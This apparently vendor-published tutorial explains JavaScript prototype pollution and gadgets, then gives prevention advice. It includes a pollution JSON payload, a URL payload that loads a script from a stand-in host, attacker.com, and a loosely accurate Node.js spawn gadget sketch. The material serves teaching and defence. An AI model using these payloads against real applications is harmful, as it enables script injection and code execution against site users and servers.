What is Prototype Pollution in Gadgets? Ways to Exploit, Examples and Impact

What is Prototype Pollution in Gadgets? Ways to Exploit, Examples and Impact

JavaScript is a language built on the foundation of prototypes. While this provides incredible flexibility and efficiency in memory management, it also introduces a unique class of vulnerabilities known as Prototype Pollution. This vulnerability becomes particularly dangerous when combined with "gadgets"—pre-existing code snippets within an application that, when triggered by a polluted prototype, lead to high-impact outcomes like Cross-Site Scripting (XSS) or Remote Code Execution (RCE). In this guide, we will break down the mechanics of prototype pollution, explore how to identify gadgets, and look at real-world exploitation scenarios.

What is Prototype Pollution?

To understand Prototype Pollution, one must first understand how JavaScript handles inheritance. In JavaScript, almost every object is linked to another object called a "prototype." When you attempt to access a property on an object, JavaScript first looks at the object itself. If the property isn't found, it looks at the object's prototype. This continues up the "prototype chain" until the property is found or the chain ends at null.

Prototype Pollution occurs when an attacker manages to modify the properties of Object.prototype. Because almost every object in JavaScript inherits from Object.prototype, adding or modifying a property here means that every single object in the application environment will now possess that property unless they have an own-property with the same name.

The Role of proto and constructor

The most common way to access an object's prototype is through the __proto__ property (a getter/setter for the internal [[Prototype]]). Another way is through the constructor.prototype property. If an application insecurely merges user-controlled JSON data into an existing object, an attacker can use these special keys to "pollute" the global object prototype.

For example, consider a vulnerable merge function:

function merge(target, source) {
    for (let key in source) {
        if (typeof target[key] === 'object' && typeof source[key] === 'object') {
            merge(target[key], source[key]);
        } else {
            target[key] = source[key];
        }
    }
}

If an attacker provides the following JSON input:

{
    "__proto__": {
        "isAdmin": true
    }
}

The merge function will traverse into target["__proto__"] (which is Object.prototype) and set the property isAdmin to true. Now, every object in the system—even an empty one {}—will have isAdmin set to true.

Understanding Gadgets in Prototype Pollution

By itself, polluting a prototype might not do much. It might cause a logic error or a Denial of Service (DoS) if you overwrite critical methods like toString. However, the real danger lies in "gadgets."

In cybersecurity, a gadget is a piece of code that already exists in the application's codebase or its dependencies which, when combined with a controlled property, performs a dangerous action. In the context of Prototype Pollution, a gadget is a function that reads a property from an object (which it expects to be undefined or a specific value) and uses that property in a "sink" (like eval(), innerHTML, or child_process.exec()).

Without a gadget, prototype pollution is like having a key but no lock. The gadget is the lock that, when turned by the polluted property, opens the door to exploitation.

How to Exploit Prototype Pollution

Exploitation generally follows a two-step process: finding an entry point to pollute the prototype and finding a gadget to achieve an impact.

1. Finding an Entry Point

Entry points are usually found in functions that recursively copy or merge objects. This includes:

  • Object Merging: Libraries like lodash (older versions) or custom extend() functions.
  • Path Assignment: Functions that set values based on a path, e.g., set(obj, 'a.b.c', value).
  • JSON Parsing: Applications that take complex JSON from a user and process it without validation.

2. Identifying Gadgets

Identifying gadgets requires looking for code that accesses properties without checking if they belong to the object itself (using hasOwnProperty).

Example: Client-Side XSS Gadget

Imagine a client-side application that uses a configuration object to display a theme. The code might look like this:

const config = getThemeConfig(); // Returns an object like { color: 'blue' }
const scriptElement = document.createElement('script');

if (config.sourceUrl) {
    scriptElement.src = config.sourceUrl;
}
document.body.appendChild(scriptElement);

If the attacker pollutes the prototype with sourceUrl, the config object (which doesn't have its own sourceUrl property) will look up the chain and find the attacker's value.

Payload:
?__proto__[sourceUrl]=//attacker.com/malicious.js

When the script runs, it will inject the malicious script into the page, leading to a stored or reflected XSS.

Server-Side Exploitation: Remote Code Execution (RCE)

On the server-side (Node.js), the impact is often much more severe. A common gadget involves polluting properties used by template engines or child process modules.

The Case of child_process.spawn

In Node.js, the child_process.spawn function is often a target. Internally, it might check for an env or shell property. If an application calls spawn without explicitly defining these options, they can be inherited from the polluted prototype.

// Vulnerable code snippet
const { spawn } = require('child_process');

// Somewhere else, prototype pollution occurs
// Object.prototype.shell = '/bin/sh';
// Object.prototype.argv0 = 'node -e "console.log(process.env)"';

spawn('ls'); 

If an attacker can pollute shell or NODE_OPTIONS, they can force the server to execute arbitrary commands whenever any part of the application spawns a new process. This is the holy grail of exploitation: Remote Code Execution.

Several high-profile vulnerabilities have been found in the JavaScript ecosystem involving prototype pollution:

  1. Lodash (CVE-2019-10744): A vulnerability in the defaultsDeep function allowed attackers to pollute the prototype via the constructor property. Because lodash is used in millions of projects, this put a massive number of applications at risk.
  2. Handlebars (CVE-2019-19919): This template engine was found to be vulnerable to prototype pollution which could lead to RCE. Attackers could pollute the prototype to inject malicious code into the template compilation process.
  3. Express.js (Indirectly): While Express itself is robust, many middleware components that parse body data or handle sessions have historically been vulnerable to prototype pollution when they don't properly sanitize keys like __proto__.

Impact of Prototype Pollution

The impact depends entirely on the available gadgets:

  • Denial of Service (DoS): Overwriting methods like toString, valueOf, or hasOwnProperty can cause the entire application to crash or behave unpredictably.
  • Bypassing Security Checks: If a security check relies on a property like isAdmin or isAuthorized being undefined for normal users, polluting that property can grant administrative access.
  • Cross-Site Scripting (XSS): In browser environments, gadgets that sink into DOM APIs can execute malicious JavaScript in the context of the user's session.
  • Remote Code Execution (RCE): In Node.js environments, gadgets in core modules or template engines can allow attackers to run OS commands.

How to Prevent Prototype Pollution

Prevention should be applied at multiple layers: the source of the pollution and the potential gadgets.

1. Use Safe Object Creation

Instead of creating objects with {}, which automatically inherits from Object.prototype, use Object.create(null). This creates an object with no prototype at all, making it immune to prototype pollution.

const safeObj = Object.create(null);
safeObj.property = 'value';
// safeObj.__proto__ is undefined

2. Freeze the Prototype

In a production environment, you can freeze the global Object.prototype. This prevents any modifications to it during the application's lifecycle.

Object.freeze(Object.prototype);
Object.freeze(Array.prototype);

Note: This might break some legacy libraries that legitimately modify prototypes, so test thoroughly.

3. Use Map Instead of Objects

If you are using an object as a key-value store for user-provided data, use the Map data structure. Map does not use the prototype chain for its keys, making it a much safer choice for dynamic data.

4. Schema Validation

Use libraries like Joi, Zod, or ajv to validate incoming JSON data. Ensure that keys like __proto__, constructor, and prototype are strictly forbidden in user input.

5. Secure Merging Logic

If you must write a merge function, ensure it has a blocklist for dangerous keys:

function safeMerge(target, source) {
    const forbiddenKeys = ['__proto__', 'constructor', 'prototype'];
    for (let key in source) {
        if (forbiddenKeys.includes(key)) continue;
        // ... rest of merge logic
    }
}

Conclusion

Prototype Pollution is a subtle yet devastating vulnerability that highlights the complexities of the JavaScript language. By understanding how the prototype chain works and how gadgets turn a simple property injection into a full-scale exploit, developers and security researchers can better protect their applications. Always treat user-controlled object keys with suspicion and favor modern, safe alternatives like Map or null-prototype objects.

To proactively monitor your organization's external attack surface and catch exposures like prototype pollution before attackers do, try Jsmon.